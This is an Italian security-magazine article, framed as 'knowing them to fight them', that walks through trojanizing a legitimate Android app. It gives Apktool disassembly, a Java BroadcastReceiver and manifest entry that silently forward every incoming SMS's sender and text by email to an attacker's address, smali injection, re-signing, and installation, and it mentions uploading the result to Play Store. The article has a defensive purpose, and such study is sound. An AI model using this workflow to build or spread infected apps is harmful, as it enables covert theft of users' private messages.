Android: inserire un malware in un APK

Per la serie “conoscerli per combatterli”, vedremo in questo articolo come iniettare del malware in un’applicazione Android. A fine 2017, il solo Grabos, presente in oltre 150 app su Play Store, ha infettato oltre 17 milioni di utenti Android (fonte: mcafee.com); non è il primo né l’unico malware presente su Play Store in applicazioni insospettabili (Figura 1, fonte: av-test.org).

Figura 1

È un problema molto comune; per eseguire un’analisi di un’applicazione infetta, bisogna capire come agiscono gli attaccanti: di seguito vedremo in dettaglio come una normale applicazione mobile possa essere alterata inserendo del codice ostile. Per i dettagli su come distinguere e come analizzare le app, rimando agli articoli su Android e il malware disponibili all’indirizzo https://www.ictsecuritymagazine.com/articoli/viaggio-nei-malware-android-lincubo-ransomware-parte-3/.

Disassemblare un’applicazione

Vediamo cosa bisogna fare per trasformare una applicazione lecita in una applicazione malware: innanzitutto scegliamo l’app da infettare. Per scaricare l’applicazione, se non abbiamo un dispositivo Android a portata di mano, possiamo usare un servizio come APK Downloader (https://apps.evozi.com/apk-downloader/) o simili. Una semplice app va più che bene per questa prova. In generale, però, quando il target non è obbligato, è preferibile infettare un’applicazione che già richiede i permessi necessari al malware per non insospettire l’utente.

Dopo averla scaricata, va disassemblata in modo da poterla modificare a piacimento. Per disassemblare l’applicazione utilizziamo Apktool (vedi Riquadro 1) ottenendo i file in Figura 2 (in figura è mostrato l’output di APK Tool utilizzato attraverso APK Studio).

Figura 2

Tra i file prodotti, quelli che ci interessano sono contenuti nella directory smali/ che include tutti i file dell’applicazione scritti in Smali, dove Smali è un linguaggio basato su Jasmin che disassembla un file .dex in un formato più leggibile. I file .smali rispecchiano il comportamento dell’applicazione d’origine, l’unico difetto è che lo Smali, non essendo un linguaggio di alto livello, risulta non immediatamente leggibile.

Se invece vogliamo capire per grandi linee come l’app è fatta e come si comporta, ci è più utile uno strumento come dex2jar che trasforma un file .dex in un archivio JAR (Figura 3).

Figura 3

Archivio JAR che può essere analizzato con un semplice decompilatore Java come JD-GUI. I file .class prodotti sono in genere meno affidabili di quelli .smali e, inoltre, con questa operazione, non è possibile la ricostruzione dell’APK.

Riquadro 1: Apktool

Apktool è uno strumento per effettuare il reverse engineering dei file binari di Android. Permette di disassemblare l’app e, cosa importante, permette anche di ricostruire il file APK dopo aver fatto eventuali modifiche. I comandi principali sono apktool d <nome apk> per disassemblare e apktool b <nome directory> per ricostruire l’APK. Oltre alla directory smali, che ci interessa particolarmente, quando disassembliamo un file, abbiamo anche le directory original e unknown:

  • original contiene la cartella META-INF e il file xml che servono quando vogliamo ricostruire l’app mantenendo la firma originale;
  • unknown contiene i file e le cartelle che non sono parte di AOSP (Android Open Source Project).

Preparare il malware

Dopo aver disassemblato l’applicazione originaria, scriviamo l’applicazione malware in Java con Android Studio. Per semplicità, creiamo un malware molto elementare, andiamo sul classico: come esempio scriviamo un’applicazione che legge gli SMS e li inoltra via email ad un indirizzo scelto dall’attaccante.

Se l’applicazione malware ha bisogno di permessi aggiuntivi rispetto all’applicazione ospite, questi vanno richiesti nel manifesto; nelle ultime versioni di Android vanno anche controllati, ed eventualmente richiesti, a runtime rispettivamente con ContextCompat.checkSelfPermission() e ContextCompat.requestPermissions() (si veda https://developer.android.com/training/permissions/requesting.html per maggiori dettagli).

Il malware, per inviare un’email, non usa un Intent né fa scegliere all’utente quale client usare, ma fa tutto in background utilizzando il server di posta di GMail (smtp.gmail.com). Quindi, quello che ci serve è una classe che eredita da BroadcastReceiver che non fa altro che rimanere in ascolto dell’arrivo di un SMS e all’arrivo di un messaggio ne estrae il mittente (msg_from) e il contenuto (msg_body) e invia una email:

Log.i(“SMS2EmailReceiver”, “Start email”);
String email = “xxx@gmail.com”;
String subject = “Email from SMS”;
String message = sms_from + “: ” + sms_body;
SendMail email = new SendMail(email, subject, message);
email.execute();
Toast.makeText(context, message, Toast.LENGTH_LONG).show();
Log.i(“SMS2EmailReceiver”, “Finish email”);

Dove SendMail è una classe che si occupa di inviare le email ed usa internamente le API di JavaMail (javax.mail.*). Nel manifesto invece va specificato il receiver e l’azione ad esso associata nel seguente modo:

<receiver android:name=”.SMS2Email”>
<intent-filter>
<action android:name=”android.provider.Telephony.SMS_RECEIVED”/>
</intent-filter>
</receiver>

A questo punto costruiamo l’APK con Android Studio e proviamola sull’emulatore: se tutto funziona come previsto, disassembliamo l’applicazione appena creata, in modo da avere del codice Smali per il nostro malware da iniettare.

Iniettare il codice e ricostruire l’applicazione

Trasformiamo ora l’applicazione lecita in una applicazione malware. Per farlo, basta copiare il contenuto della directory smali/ (tranne android/) del codice del malware nella directory smali/ dell’applicazione ospite, lo stesso facciamo per i file presenti in unknown/.

Dopo aver inserito il codice necessario, possiamo ricreare l’applicazione. Per poterla installare ci occorre firmarla: è possibile usare Uber APK Signer da riga di comando o attraverso APK Studio; alternativamente possiamo utilizzare direttamente APK Signer e Zip Align.

Usiamo APK Studio per costruire (con APK Tool), firmare (con Uber APK Signer) e ottimizzare (con Zip Align) l’applicazione che adesso è pronta per essere installata o, eventualmente, per essere caricata su Play Store.

Installare e testare l’applicazione

Figura 4

Anche in questo caso l’installazione può avvenire attraverso un tool grafico come Apk Studio o direttamente con il comando install di ADB.

Ricapitolando, per aggiungere del codice ostile ad una app ci serve:

  • Disassemblare l’app ospite con APK Tool
  • Scrivere il malware con Android Studio
  • Costruire l’APK malware con Android Studio
  • Disassemblare il malware con APK Tool
  • Copiare la directory smali/ del malware in quella dell’app ospite
  • Costruire, firmare e ottimizzare l’app ottenuta con APK Studio
  • Installare l’app con ADB

Sembrano molti passi ma, anche se macchinosi, sono tutti molto semplici e immediati. Eseguiamo normalmente l’applicazione, che continuerà a fare il suo lavoro, ma al primo SMS ricevuto (Figura 4) ecco scattare il comportamento da malware: invierà un’email e nel corpo ci sarà indicato il mittente e il testo del messaggio (Figura 5).

Figura 5

A cura di: Gianluigi Spagnuolo

Profilo Autore

Si interessa di reverse engineering, attualmente si occupa della sicurezza dei firmware.
Collabora con diverse riviste del settore scrivendo di programmazione e sicurezza.

Condividi sui Social Network:

Articoli simili